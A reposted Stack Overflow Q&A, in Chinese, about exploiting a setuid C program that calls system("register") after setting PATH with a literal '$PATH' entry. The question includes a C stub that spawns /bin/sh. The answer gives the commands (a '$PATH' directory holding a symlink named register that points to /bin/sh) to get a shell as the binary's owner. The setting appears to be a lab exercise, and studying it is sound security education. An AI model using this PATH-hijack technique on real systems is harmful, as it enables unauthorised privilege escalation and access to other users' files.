gpt4 book ai didi

c - 使用SUID人为提升权限

转载 作者:行者123 更新时间:2023-11-30 14:46:20 25 4
gpt4 key购买 nike

也许这应该在 askubuntu 堆栈交换上,但无论如何......

我有以下目录结构:

bar@test:/$ cd /home/foo/Public
bar@test:/home/foo/Public$ ls -l
-rwsr-xr-x 1 foo foo 7632 Sep 30 foo-secret*

foo@test:/$ cd /home/foo/Private
foo@test:/home/foo/Private$ ls -l
-rws------ 1 foo foo 7084 Sep 30 register*
-rws------ 1 foo foo 7162 Sep 30 show-secret*
-rw------- 1 foo foo 1361 Sep 30 secret-file

如果我运行 ./foo-secret badpassword我得到:

bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$

作为 bar,我无法访问 foo 的 Private 文件夹。现在, foo-secret 采用一个参数,即 foo 的密码(我不知道)。我知道foo-secret像这样进行身份验证:

putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");

if (authenticate("foo", argv[1])) {
system("show-secret");
} else {
printf("You entered a bad password. Register new account (y/N)?");
ans=getchar();
if (ans == 'y') system("register");
}

我最初认为创建一个名为 register 的新二进制文件就足够了并将其放入 /home/bar/bin然后添加home/bar/binPATH ,即

bar@test:/home/bar$ mkdir bin
bar@test:/home/bar$ cd bin
bar@test:/home/bar/bin$ gcc register.c -o register
bar@test:/home/bar/bin$ chmod +x register
bar@test:/home/bar/bin$ cd /home/foo/Public
bar@test:/home/foo/Public$ export PATH=/home/bar/bin

新的register.c是:

#include <stdio.h>

int main() {
system("/bin/sh");
}

这个想法是,因为我知道 foo-secretregister 进行系统调用二进制文件,我可以创建一个名为 register 的新二进制文件它打开一个 shell,我的权限更改/提升为 foo 的(这意味着我可以读取 foo 的 secret-file )。尽管如此,运行./foo-secret badpassword随着改变PATH仍然产生:

bar@test:/home/foo/Public$./foo-secret badpassword
You entered a bad password. Register new account (y/N)? y
Cannot register at this time.
bar@test:/home/foo/Public$

...而不是按预期打开 shell。我假设它是因为程序本身添加到 PATH 变量。因此,我的问题是:我如何强制 foo-secret使用我的register而不是 /home/foo/Private 中的那个?

最佳答案

如果 setuid foo-secret 程序 C 源代码确实如此

putenv("PATH=$PATH:/home/foo/Public:/home/foo/Private");

这意味着 PATH 环境变量将以 $PATH: 开头,意味着 shell 查找二进制文件的第一个目录是当前工作目录下的目录 $PATH .

(其中的目录以冒号分隔。如果目录以斜线开头,则为绝对目录,即从根目录开始;否则为相对于当前工作目录。)

因此,您需要做的就是使用您拥有的某个目录,例如您的主目录,在那里创建一个 $PATH 子目录,并放置一个名为 register 的符号链接(symbolic link)那里指向您想要使用的 shell:

cd
mkdir '$PATH'
ln -s /bin/sh '$PATH/register'
/home/foo/public/foo-secret badpassword

如果您随后尝试注册,system("register") 行将最终执行 shell 符号链接(symbolic link)。因为 foo-secret 是 setuid foo,所以该 shell 将以用户 foo 的身份运行。

关于c - 使用SUID人为提升权限,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/52344199/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com